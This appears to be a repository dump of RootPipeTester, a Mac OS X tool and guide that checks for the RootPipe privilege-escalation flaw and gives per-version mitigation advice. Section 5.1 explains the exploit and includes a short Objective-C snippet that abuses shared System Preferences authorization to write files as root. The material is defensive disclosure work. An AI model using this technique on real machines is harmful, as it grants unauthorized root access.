30 | Click "Start Test" and let the test run through (you can tell if it's finished by the "Running…" in the window title).
31 |
32 | To get accurate results I recommend rebooting your Mac and running the test again on a "fresh login".
33 |
34 | If at least one of the test runs detected a vulnerable system you might want to check out the PANIC section.
35 |
36 | ## 4. PANIC!!! My system is vulnerable? Are we all going to die?
37 | No! Keep calm and read the guide appropriate to your system version.
38 |
39 | Note: Not vulnerable in user authorization means that the system will either not grant access or pop up an authorization dialog which prompts you to authenticate as an Administrator user.
40 | To some extent this is also a privilege escalation, because the admin group doesn't have as many rights as root, but in the default configuration of `sudo`, every user in the group "admin" can get root by entering his password, so the same effect can also be achieved by simply running `sudo`.
41 |
42 |
43 | ### 4.1. OS X 10.10 (Yosemite)
44 | Upgrade to 10.10.3 as soon as possible to make sure the system enforces entitlements on the `writeconfig` binary correctly. (at least that's what Apple says)
45 |
46 | If for some reason you cannot upgrade to 10.10.3, check the section for OS X 10.9 Mavericks.
47 |
48 | ### 4.2. OS X 10.9 (Mavericks)
49 | Mavericks let's an exploiter get through with nil authorization so you're in a much more difficult situation than with older versions of Mac OS X.
50 |
51 |
52 | You may want to have a look at [can\_I\_suid](https://github.com/gdbinit/can_I_suid).
53 |
54 | Test results:
55 |
56 | #### nil authorization:
57 | Vulnerable
58 | #### user authorization:
59 | - __Administrator account__: Vulnerable only if “Require password to unlock each System Preferences pane” is not checked.
60 | - __Standard user account__: Not vulnerable
61 |
62 |
63 | ### 4.3. OS X 10.8 (Mountain Lion)
64 | You should enable "Require password to unlock each System Preferences pane" in the Security preference pane.
65 |
66 | Test results:
67 |
68 | #### nil authorization:
69 | Not vulnerable
70 | #### user authorization:
71 | - __Administrator account__: Vulnerable only if “Require password to unlock each System Preferences pane” is not checked.
72 | - __Standard user account__: Not vulnerable
73 |
74 |
75 | ### 4.4. OS X 10.7 (Lion), Mac OS X 10.6 (Snow Leopard), Mac OS X 10.5 (Leopard), Mac OS X 10.4 (Tiger)
76 | Congratulations! You have one of the most secure versions of Mac OS X (at least as far as RootPipe is concerned).
77 |
78 | On these systems, the "Require password to unlock each System Preference pane" ("Require password to unlock each secure system preference" in Tiger) in the Security preference pane is working properly and _should really be enabled_!
79 |
80 | Note: If the "Require password" checkbox is unchecked, the system will unlock secure preference panes on _each_ login. If you're using an Administrator account this will make your system vulnerable until you have manually closed the lock in the System Preferences after each login.
81 |
82 | Test results:
83 |
84 | #### nil authorization:
85 | Not vulnerable
86 | #### user authorization:
87 | - __Administrator account__: Vulnerable only if _both_ "Require password" is unchecked and secure preference panes are unlocked.
88 | Attention: If "Require password" is unchecked, the system will unlock secure preference panes on _each_ login.
89 | - __Standard user account__: Not vulnerable
90 |
91 |
92 | ### 4.5. Mac OS X 10.3 (Panther)
93 | Unlike on later systems, in Panther, the "Require password to unlock each secure system preference" checkbox in the Security preference pane does not have the effect of fully hindering this exploit from working. I still recommend checking it.
94 | To secure your system I _strongly_ recommend to switch to using a standard user account only and always manually "closing the lock" after changing preferences in System Preferences.
95 | Only closing System Preferences will not properly invalidate the authorization and this exploit will work until you log out although the System Preferences GUI shows a closed lock as a Standard user.
96 |
97 | Test results:
98 |
99 | #### nil authorization:
100 | Not vulnerable
101 | #### user authorization:
102 | - __Administrator account__: Vulnerable if secure preference panes are unlocked or have not been manually locked (by opening, if needed, and closing the lock in System Preferences) after login.
103 | - __Standard user account__: Vulnerable if secure preference panes are unlocked.
104 |
105 |
106 | ### 4.6. Mac OS X 10.2 (Jaguar)
107 | Unlike later systems, Jaguar does not provide a "Require password to unlock each secure system preference" checkbox but still unlocks secure preference panes at login for all Administrator users.
108 |
109 | To secure your system I _strongly_ recommend to switch to using a Standard user account only.
110 |
111 | Note: Jaguar does not lock secure preference panes when System Preferences quits, so always lock secure panes manually. If you fail to do that, the exploit will work until you log out.
112 |
113 | Note: If you can't switch to a standard user account a simple AppleScript which locks secure preference panes as a Login Item could do the job.
114 |
115 | Note: The normal version of RootPipe Tester will not run on Jaguar. Download the Legacy version of RootPipe Tester if you want to run on Jaguar.
116 | The Legacy version of RootPipe Tester is equivalent in functionality to the normal version, but is compiled using GCC 3.1 instead of GCC 4.0.
117 |
118 | Test results:
119 |
120 | #### nil authorization:
121 | Not vulnerable
122 | #### user authorization:
123 | - __Administrator account__: Vulnerable if secure preference panes have not been manually locked (by opening, if needed, and closing the lock in System Preferences) since the last login.
124 | - __Standard user account__: Vulnerable only if secure preference panes are unlocked.
125 |
126 |
127 | ### 4.7. Mac OS X 10.1 (Puma), Mac OS X 10.0 (Cheetah)
128 | An exploit for Puma seems feasible, because it uses the same steps to authenticate System Preferences and most of the necessary components are there.
129 | The only thing hindering an exploit is that Puma does not have `SecurityFoundation.framework` which is used on later versions to authorize.
130 | Instead it uses a PrivateFramework called `NIInterface.framework` which needs to be reverse engineered first.
131 |
132 | Good news anyway: Nobody is going to invest time into exploiting a probably next to nothing user base.
133 | To enhance security only using a Standard user account _and_ manually locking secure preference panes is still recommended.
134 |
135 |
136 | ## 5. About RootPipe
137 | ### 5.1. How does RootPipe work?
138 | Note: Take this paragraph with a grain of salt. I tried my best to figure out what's really going on, but since it's all PrivateFrameworks, you can never 100% know what these methods are doing, especially not over so many versions of Mac OS X as I'm trying to cover.
139 |
140 | The way the RootPipe exploit works is basically the same to what System Preferences does to write config files (thus the name `WriteConfig`) with the exception that users of this exploit must not be the System Preferences application.
141 | So far it's not that horrible, and actually the whole exploit is not so horrible either.
142 | But let's look at the code.
143 |
144 | ``` objc
145 | // Authorization
146 | SFAuthorization auth = [SFAuthorization authorization];
147 | id authenticator = [Authenticator sharedAuthenticator];
148 | [authenticator authenticateUsingAuthorizationSync:auth];
149 | // Profit?
150 | id sharedLiaison = [ToolLiaison sharedToolLiaison];
151 | id tool = [sharedLiaison tool];
152 | ```
153 |
154 | As you can see, this is "old style" code, but the principle for the new style is more or less the same.
155 | The first three lines in this snippet are authorization and the last two are the real fun.
156 |
157 | If a preference pane in System Preferences needs to do operations that have to be run privileged, it will place an `SFAuthorizationView` (the lock symbol) into the lower left corner. This `SFAuthorizationView` will then handle the acquisition and destroying of the `system.preferences` right.
158 |
159 | So far so good, but what is this `system.preferences`?
160 | The rights Apple uses and how they are configured changed over time, but the principle stayed the same. Below you see an excerpt of the Authorization Services Policy Database.
161 |
162 | system.preferences on 10.5.8
163 | ```
164 | {
165 | "allow-root" = 1;
166 | class = user;
167 | comment = "Checked by the Admin framework when making changes to certain System Preferences.";
168 | group = admin;
169 | shared = 1;
170 | }
171 | ```
172 |
173 | As you can see, it is a shared right. This means that once this right has been acquired by any process every other process can use it for as long as the session doesn't get destroyed (when you log out).
174 | This by itself is not so bad, because you have to authorize the first time an application wants to use `system.preferences`, unfortunately the system automatically authorizes it automatically at login (for Administrator users).
175 | This means that our RootPipe Tester will not have to get authorized and can instead use the authorization of the system.
176 |
177 | Standard users are safe, because the system doesn't authorize the `system.preferences` right at login.
178 |
179 | With the proper authorization acquired it's a pretty easy game to write config files (or any other file for that matter) with arbitrary rights.
180 | `ToolLiaison` is happily going to set up an `NSDistantObject` to `writeconfig` for you and `writeconfig` will happily write the file for you, because in their mind, you have authorized yourself just fine.
181 |
182 |
183 | Checking the "Require password to unlock each System Preferences pane" checkbox in System Preferences fixes RootPipe on all versions of Mac OS X from 10.4 - 10.8.
184 | Checking this checkbox will modify the `system.preferences` right and set `shared` to false.
185 | If a right is not shared, this means that every process has to get its own authorization. Because getting authorization requires the user to enter the password of an Administrator the attack can be noticed by the user.
186 | Also, simply running `sudo` will have the same effect, which makes this attack useless.
187 |
188 | ### 5.2. Is it a backdoor?
189 | Not really. At first glance it might look like one, because it's in a PrivateFramework running as root and not doing proper authentication.
190 |
191 | But the real issue here is more one of bad design. Apple wanted to ensure that every Administrator user has the ability to use System Preferences to the full and in Unix everything needs a config file and these need to be written (most of the time as root).
192 |
193 | One might argue that this is a bad idea (I would agree) but I would not consider it a backdoor since the authentication is working properly and every Administrator has the ability to get root via `sudo` anyway.
194 | The main problem here is that Apple weighed comfort over security, but this also is nothing very special for them to do.
195 |
--------------------------------------------------------------------------------
/docs/img/readme-header.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/docs/img/readme-header.png
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.10.4.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | authenticate-user
8 |
9 | class
10 | user
11 | comment
12 | Checked by the Admin framework when making changes to certain System Preferences.
13 | created
14 | 429103920.89577401
15 | group
16 | admin
17 | modified
18 | 450693442.70701802
19 | session-owner
20 |
21 | shared
22 |
23 | timeout
24 | 2147483647
25 | tries
26 | 10000
27 | version
28 | 0
29 |
30 |
31 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.2.8.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | group
8 | admin
9 | shared
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.3.9.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | This right is checked by the Admin framework when making changes to the system preferences.
11 | Credentials remain valid forever.
12 | An acquired credential is shared amongst all clients.
13 | If the proccess that created the AuthorizationRef has uid = 0 this right will automatically be granted.
14 | group
15 | admin
16 | mechanisms
17 |
18 | builtin:authenticate
19 |
20 | shared
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.4.11.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | This right is checked by the Admin framework when making changes to the system preferences.
11 | group
12 | admin
13 | shared
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.5.8.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | Checked by the Admin framework when making changes to certain System Preferences.
11 | group
12 | admin
13 | shared
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.6.8.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | Checked by the Admin framework when making changes to certain System Preferences.
11 | group
12 | admin
13 | shared
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.7.0.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | Checked by the Admin framework when making changes to certain System Preferences.
11 | default-button
12 |
13 | ar
14 | تعديل الإعدادات
15 | ca
16 | Modificar la configuració
17 | cs
18 | Změnit nastavení
19 | da
20 | Juster indstillinger
21 | de
22 | Einstellungen ändern
23 | el
24 | Τροποποίηση ρυθμίσεων
25 | en
26 | Modify Settings
27 | es
28 | Modificar ajustes
29 | fi
30 | Muokkaa asetuksia
31 | fr
32 | Modifer les réglages
33 | he
34 | ערוך/י הגדרות
35 | hr
36 | Preinači postavke
37 | hu
38 | Beállítások módosítása
39 | it
40 | Modifica impostazioni
41 | ja
42 | 設定を変更
43 | ko
44 | 설정 수정
45 | nb
46 | Endre innstillinger
47 | nl
48 | Wijzig instellingen
49 | pl
50 | Zmień ustawienia
51 | pt
52 | Modificar Ajustes
53 | pt-PT
54 | Modificar definições
55 | ro
56 | Schimbă configurările
57 | ru
58 | Модифицировать настройки
59 | sk
60 | Upraviť nastavenia
61 | sv
62 | Ändra inställningar
63 | th
64 | แก้ไขค่าติดตั้ง
65 | tr
66 | Ayarları Değiştir
67 | uk
68 | Змінити параметри
69 | zh-Hans
70 | 修改设置
71 | zh-Hant
72 | 修改設定
73 |
74 | default-prompt
75 |
76 | ar
77 | يحاول __APPNAME__ تعديل إعدادات النظام الخاص بك.
78 | ca
79 | __APPNAME__ està intentant modificar la configuració del sistema.
80 | cs
81 | __APPNAME__ se pokouší změnit systémová nastavení.
82 | da
83 | __APPNAME__ forsøger at ændre systemindstillingerne.
84 | de
85 | __APPNAME__ versucht, Ihre Systemeinstellungen zu ändern.
86 | el
87 | Η εφαρμογή __APPNAME__ προσπαθεί να τροποποιήσει τις ρυθμίσεις του συστήματός σας.
88 | en
89 | __APPNAME__ is trying to modify your system settings.
90 | es
91 | __APPNAME__ está intentando modificar los ajustes del sistema.
92 | fi
93 | __APPNAME__ yrittää muokata järjestelmän asetuksia.
94 | fr
95 | __APPNAME__ essaye de modifier vos réglages de système.
96 | he
97 | ״ __APPNAME__״ מבקש לערוך שינויים את ההגדרות במחשב.
98 | hr
99 | __APPNAME__ pokušava preinačiti vaše postavke sustava.
100 | hu
101 | A(z) __APPNAME__ megpróbálja módosítani a rendszerbeállításokat.
102 | it
103 | __APPNAME__ sta cercando di modificare le impostazioni del sistema.
104 | ja
105 | __APPNAME__ は、システムの設定を変更しようとしています。
106 | ko
107 | __APPNAME__이(가) 사용자의 시스템 설정을 변경하려고 합니다.
108 | nb
109 | __APPNAME__ prøver å endre systeminnstillingene.
110 | nl
111 | __APPNAME__ probeert uw systeeminstellingen te wijzigen.
112 | pl
113 | __APPNAME__ próbuje zmienić ustawienia systemowe.
114 | pt
115 | __APPNAME__ está tentando modificar seus ajustes do sistema.
116 | pt-PT
117 | O __APPNAME__ está a tentar modificar as definições do sistema.
118 | ro
119 | __APPNAME__ încearcă să schimbe configurările dvs. de sistem.
120 | ru
121 | Программа «__APPNAME__» пытается модифицировать Ваши системные настройки.
122 | sk
123 | __APPNAME__ sa pokúša upraviť vaše systémové nastavenia.
124 | sv
125 | __APPNAME__ försöker ändra systemets inställningar.
126 | th
127 | __APPNAME__ กำลังพยายามแก้ไขค่าติดตั้งระบบของคุณ
128 | tr
129 | __APPNAME__, sistem ayarlarınızı değiştirmeye çalışıyor.
130 | uk
131 | Програма «__APPNAME__» намагається змінити ваші системні параметри.
132 | zh-Hans
133 | “__APPNAME__”正试图修改您的系统设置。
134 | zh-Hant
135 | “__APPNAME__”正在嘗試修改您的系統設定。
136 |
137 | group
138 | admin
139 | shared
140 |
141 |
142 |
143 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.8.5.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | class
8 | user
9 | comment
10 | Checked by the Admin framework when making changes to certain System Preferences.
11 | default-button
12 |
13 | ar
14 | تعديل الإعدادات
15 | ca
16 | Modificar la configuració
17 | cs
18 | Změnit nastavení
19 | da
20 | Juster indstillinger
21 | de
22 | Einstellungen ändern
23 | el
24 | Τροποποίηση ρυθμίσεων
25 | en
26 | Modify Settings
27 | es
28 | Modificar ajustes
29 | fi
30 | Muokkaa asetuksia
31 | fr
32 | Modifer les réglages
33 | he
34 | ערוך/י הגדרות
35 | hr
36 | Preinači postavke
37 | hu
38 | Beállítások módosítása
39 | it
40 | Modifica impostazioni
41 | ja
42 | 設定を変更
43 | ko
44 | 설정 수정
45 | nb
46 | Endre innstillinger
47 | nl
48 | Wijzig instellingen
49 | pl
50 | Zmień ustawienia
51 | pt
52 | Modificar Ajustes
53 | pt-PT
54 | Modificar definições
55 | ro
56 | Schimbă configurările
57 | ru
58 | Модифицировать настройки
59 | sk
60 | Upraviť nastavenia
61 | sv
62 | Ändra inställningar
63 | th
64 | แก้ไขค่าติดตั้ง
65 | tr
66 | Ayarları Değiştir
67 | uk
68 | Змінити параметри
69 | zh-Hans
70 | 修改设置
71 | zh-Hant
72 | 修改設定
73 |
74 | default-prompt
75 |
76 | ar
77 | يحاول __APPNAME__ تعديل إعدادات النظام الخاص بك.
78 | ca
79 | __APPNAME__ està intentant modificar la configuració del sistema.
80 | cs
81 | __APPNAME__ se pokouší změnit systémová nastavení.
82 | da
83 | __APPNAME__ forsøger at ændre systemindstillingerne.
84 | de
85 | __APPNAME__ versucht, Ihre Systemeinstellungen zu ändern.
86 | el
87 | Η εφαρμογή __APPNAME__ προσπαθεί να τροποποιήσει τις ρυθμίσεις του συστήματός σας.
88 | en
89 | __APPNAME__ is trying to modify your system settings.
90 | es
91 | __APPNAME__ está intentando modificar los ajustes del sistema.
92 | fi
93 | __APPNAME__ yrittää muokata järjestelmän asetuksia.
94 | fr
95 | __APPNAME__ essaye de modifier vos réglages de système.
96 | he
97 | ״ __APPNAME__״ מבקש לערוך שינויים את ההגדרות במחשב.
98 | hr
99 | __APPNAME__ pokušava preinačiti vaše postavke sustava.
100 | hu
101 | A(z) __APPNAME__ megpróbálja módosítani a rendszerbeállításokat.
102 | it
103 | __APPNAME__ sta cercando di modificare le impostazioni del sistema.
104 | ja
105 | __APPNAME__ は、システムの設定を変更しようとしています。
106 | ko
107 | __APPNAME__이(가) 사용자의 시스템 설정을 변경하려고 합니다.
108 | nb
109 | __APPNAME__ prøver å endre systeminnstillingene.
110 | nl
111 | __APPNAME__ probeert uw systeeminstellingen te wijzigen.
112 | pl
113 | __APPNAME__ próbuje zmienić ustawienia systemowe.
114 | pt
115 | __APPNAME__ está tentando modificar seus ajustes do sistema.
116 | pt-PT
117 | O __APPNAME__ está a tentar modificar as definições do sistema.
118 | ro
119 | __APPNAME__ încearcă să schimbe configurările dvs. de sistem.
120 | ru
121 | Программа «__APPNAME__» пытается модифицировать Ваши системные настройки.
122 | sk
123 | __APPNAME__ sa pokúša upraviť vaše systémové nastavenia.
124 | sv
125 | __APPNAME__ försöker ändra systemets inställningar.
126 | th
127 | __APPNAME__ กำลังพยายามแก้ไขค่าติดตั้งระบบของคุณ
128 | tr
129 | __APPNAME__, sistem ayarlarınızı değiştirmeye çalışıyor.
130 | uk
131 | Програма «__APPNAME__» намагається змінити ваші системні параметри.
132 | zh-Hans
133 | “__APPNAME__”正试图修改您的系统设置。
134 | zh-Hant
135 | “__APPNAME__”正在嘗試修改您的系統設定。
136 |
137 | group
138 | admin
139 | shared
140 |
141 |
142 |
143 |
--------------------------------------------------------------------------------
/docs/rights/system.preferences_10.9.5.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | allow-root
6 |
7 | authenticate-user
8 |
9 | class
10 | user
11 | comment
12 | Checked by the Admin framework when making changes to certain System Preferences.
13 | created
14 | 450660472.71680897
15 | group
16 | admin
17 | modified
18 | 454586147.68869901
19 | session-owner
20 |
21 | shared
22 |
23 | timeout
24 | 2147483647
25 | tries
26 | 10000
27 | version
28 | 0
29 |
30 |
31 |
--------------------------------------------------------------------------------
/src/RootPipeTester/English.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/English.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/src/RootPipeTester/English.lproj/MainMenu.nib/classes.nib:
--------------------------------------------------------------------------------
1 | {
2 | IBClasses = (
3 | {
4 | ACTIONS = {"" = id; };
5 | CLASS = FirstResponder;
6 | LANGUAGE = ObjC;
7 | SUPERCLASS = NSObject;
8 | },
9 | {CLASS = RPTKeyValuePair; LANGUAGE = ObjC; SUPERCLASS = NSObject; },
10 | {CLASS = RPTRightsDataSource; LANGUAGE = ObjC; SUPERCLASS = NSObject; },
11 | {CLASS = RPTRightsViewDataSource; LANGUAGE = ObjC; SUPERCLASS = NSObject; },
12 | {
13 | ACTIONS = {
14 | comboBoxAction = id;
15 | displaySystemPreferencesRight = id;
16 | exportRightDefinition = id;
17 | refreshView = id;
18 | };
19 | CLASS = RightsInspectorDelegate;
20 | LANGUAGE = ObjC;
21 | OUTLETS = {
22 | inspectorWindow = NSWindow;
23 | rightChooser = NSComboBox;
24 | rightView = NSOutlineView;
25 | };
26 | SUPERCLASS = NSObject;
27 | },
28 | {
29 | ACTIONS = {startTest = id; };
30 | CLASS = RootPipeDelegate;
31 | LANGUAGE = ObjC;
32 | OUTLETS = {mainWindow = NSWindow; startButton = NSButton; textOutput = NSTextView; };
33 | SUPERCLASS = NSObject;
34 | }
35 | );
36 | IBVersion = 1;
37 | }
--------------------------------------------------------------------------------
/src/RootPipeTester/English.lproj/MainMenu.nib/info.nib:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IBDocumentLocation
6 | 212 121 356 240 0 0 1920 1058
7 | IBEditorPositions
8 |
9 | 243
10 | 662 238 392 44 0 0 1920 1058
11 |
12 | IBFramework Version
13 | 291.0
14 | IBOpenObjects
15 |
16 |
17 | IBSystem Version
18 | 6R73
19 | IBUsesTextArchiving
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/src/RootPipeTester/English.lproj/MainMenu.nib/keyedobjects.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/English.lproj/MainMenu.nib/keyedobjects.nib
--------------------------------------------------------------------------------
/src/RootPipeTester/English.lproj/MainMenu.nib/objects.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/English.lproj/MainMenu.nib/objects.nib
--------------------------------------------------------------------------------
/src/RootPipeTester/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | English
7 | CFBundleExecutable
8 | ${EXECUTABLE_NAME}
9 | CFBundleIconFile
10 | RootPipeTester.icns
11 | CFBundleIdentifier
12 | ch.maniswebdesign.${PRODUCT_NAME:identifier}
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | ${PRODUCT_NAME}
17 | CFBundlePackageType
18 | APPL
19 | CFBundleSignature
20 | ????
21 | CFBundleVersion
22 | ${CURRENT_PROJECT_VERSION}
23 | NSMainNibFile
24 | MainMenu
25 | NSPrincipalClass
26 | NSApplication
27 | LSMinimumSystemVersion
28 | 10.3.9
29 | LSMultipleInstancesProhibited
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RPTDAPlugIn/RPTDAPlugIn-Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | English
7 | CFBundleExecutable
8 | ${EXECUTABLE_NAME}
9 | CFBundleIdentifier
10 | ch.maniswebdesign.RootPipeTester.${PRODUCT_NAME:identifier}
11 | CFBundleInfoDictionaryVersion
12 | 6.0
13 | CFBundlePackageType
14 | BNDL
15 | CFBundleSignature
16 | ????
17 | CFBundleVersion
18 | ${CURRENT_PROJECT_VERSION}
19 | NSPrincipalClass
20 | RPTDAPlugIn
21 |
22 |
23 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RPTDAPlugIn/RPTDAPlugIn.h:
--------------------------------------------------------------------------------
1 | //
2 | // RPTDAPlugIn.h
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 02.07.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import
24 | #import "RootPipeTest.h"
25 |
26 | #define HELPER_IDLE_TIMEOUT (NSTimeInterval) 20.0 /* seconds */
27 |
28 | @interface RPTDAPlugIn : NSObject {
29 | RootPipeTest *_rpTest;
30 |
31 | @private
32 | NSConnection *_connection;
33 | NSPipe *_proxyPipe;
34 | NSPipe *_localPipe;
35 | }
36 |
37 | // no init available. This class will initialise itself.
38 |
39 | - (RootPipeTest *)test;
40 | - (void)runTestWithAuthorization:(BOOL)useAuth fileAttributes:(NSDictionary **)fileAttr throughShim:(NSPipe **)pipeRef testResult:(NSNumber **)testResult;
41 | + (void)finishTesting;
42 | - (void)finishTesting; // same as +finishTesting
43 |
44 | @end
45 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RPTDAPlugIn/RPTDAPlugIn.m:
--------------------------------------------------------------------------------
1 | //
2 | // RPTDAPlugIn.m
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 02.07.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import "RPTDAPlugIn.h"
24 |
25 | @interface RPTDAPlugIn (PrivateMethods)
26 | - (id)privateInit;
27 | - (void)redirectOutput:(NSNotification *)aNotification;
28 | + (void)resetTimeout;
29 | + (void)pauseTimeout;
30 | + (void)quitUtility;
31 | @end
32 |
33 | @implementation RPTDAPlugIn
34 | static RPTDAPlugIn *plugin = nil;
35 | static NSRecursiveLock *timerLock = nil;
36 | static NSTimer *timeoutTimer = nil;
37 |
38 | + (void)initialize {
39 | NSLog(@"Initialising RPTDAPlugIn...");
40 |
41 | // Hide Application
42 | /*if (NSClassFromString(@"NSRunningApplication")) {
43 | [[NSRunningApplication currentApplication] hide];
44 | } else {
45 | ProcessSerialNumber psn = { 0, kCurrentProcess };
46 | ShowHideProcess(&psn, false);
47 | }*/
48 |
49 | // Initialise statics
50 | timerLock = [NSRecursiveLock new];
51 | [self resetTimeout];
52 | plugin = [[RPTDAPlugIn alloc] privateInit]; // should initialise timeoutTimer
53 | }
54 |
55 | + (void)resetTimeout {
56 | // Delete old timer
57 | [self pauseTimeout];
58 |
59 | [timerLock lock];
60 |
61 | // Instantiate timeout timer
62 | timeoutTimer = [NSTimer scheduledTimerWithTimeInterval:HELPER_IDLE_TIMEOUT
63 | target:self
64 | selector:@selector(quitUtility)
65 | userInfo:nil
66 | repeats:NO];
67 |
68 | [timerLock unlock];
69 | }
70 | + (void)pauseTimeout {
71 | [timerLock lock];
72 | [timeoutTimer invalidate];
73 | timeoutTimer = nil;
74 | [timerLock unlock];
75 | }
76 |
77 | - (id)init {
78 | return nil;
79 | }
80 |
81 | - (id)privateInit {
82 | if (plugin) return plugin;
83 |
84 | // Instantiate new PlugIn
85 | if ((self = [super init])) {
86 | // Initialise timer
87 | timerLock = [NSRecursiveLock new];
88 | [[self class] resetTimeout];
89 |
90 | // Initialise ivars
91 | _rpTest = [[RootPipeTest alloc] init];
92 | _localPipe = [[NSPipe pipe] retain];
93 |
94 | // Redirect stdout and stderr to _localPipe
95 | setvbuf(stdout, NULL, _IONBF /* No Buffering */, BUFSIZ);
96 | setvbuf(stderr, NULL, _IONBF /* No Buffering */, BUFSIZ);
97 | dup2([[_localPipe fileHandleForWriting] fileDescriptor], fileno(stdout)); // redirect stdout to _localPipe
98 | dup2([[_localPipe fileHandleForWriting] fileDescriptor], fileno(stderr)); // redirect stderr to _localPipe
99 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(redirectOutput:) name:NSFileHandleDataAvailableNotification object:[_localPipe fileHandleForReading]];
100 | [[_localPipe fileHandleForReading] performSelectorOnMainThread:@selector(waitForDataInBackgroundAndNotify) withObject:nil waitUntilDone:NO];
101 |
102 | // Initialise connection
103 | _connection = [[NSConnection alloc] init];
104 | [_connection registerName:@"RPTDAPlugIn-Connection"];
105 | [_connection setRootObject:self];
106 | }
107 | return (plugin = self);
108 | }
109 |
110 | - (void)redirectOutput:(NSNotification *)aNotification {
111 | NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
112 | NSFileHandle *fh = (NSFileHandle *)[aNotification object];
113 | NSData *data;
114 |
115 | NS_DURING
116 | if ([[aNotification name] isEqualToString:NSFileHandleDataAvailableNotification]) {
117 | [fh performSelectorOnMainThread:@selector(waitForDataInBackgroundAndNotify) withObject:nil waitUntilDone:NO];
118 | data = [fh availableData];
119 |
120 | if ([data length] == 0) {
121 | // File Handle reached EOF, let's unsubscribe from it's notifications to avoid having permanent notifications.
122 | [[NSNotificationCenter defaultCenter] removeObserver:self name:nil object:fh];
123 | }
124 | } else return;
125 | NS_HANDLER
126 | return;
127 | NS_ENDHANDLER
128 |
129 | // Redirect output to _proxyPipe
130 | [[_proxyPipe fileHandleForWriting] writeData:data];
131 |
132 | [pool release];
133 | }
134 |
135 | - (RootPipeTest *)test {
136 | [[self class] resetTimeout];
137 | return _rpTest;
138 | }
139 |
140 | - (void)runTestWithAuthorization:(BOOL)useAuth fileAttributes:(NSDictionary **)fileAttr throughShim:(NSPipe **)pipeRef testResult:(NSNumber **)testResult {
141 | [[self class] pauseTimeout];
142 |
143 | _proxyPipe = (pipeRef ? (*pipeRef) : nil);
144 |
145 | BOOL res = [_rpTest runTestWithAuthorization:useAuth fileAttributes:fileAttr];
146 | if (testResult) *testResult = [[NSNumber numberWithBool:res] retain];
147 |
148 | printf(" ");
149 | [[NSNotificationCenter defaultCenter] postNotificationName:NSFileHandleDataAvailableNotification object:[_localPipe fileHandleForReading] userInfo:nil];
150 | printf(" ");
151 |
152 | [[self class] resetTimeout];
153 | }
154 |
155 | + (void)finishTesting {
156 | [plugin release];
157 | [timerLock release];
158 |
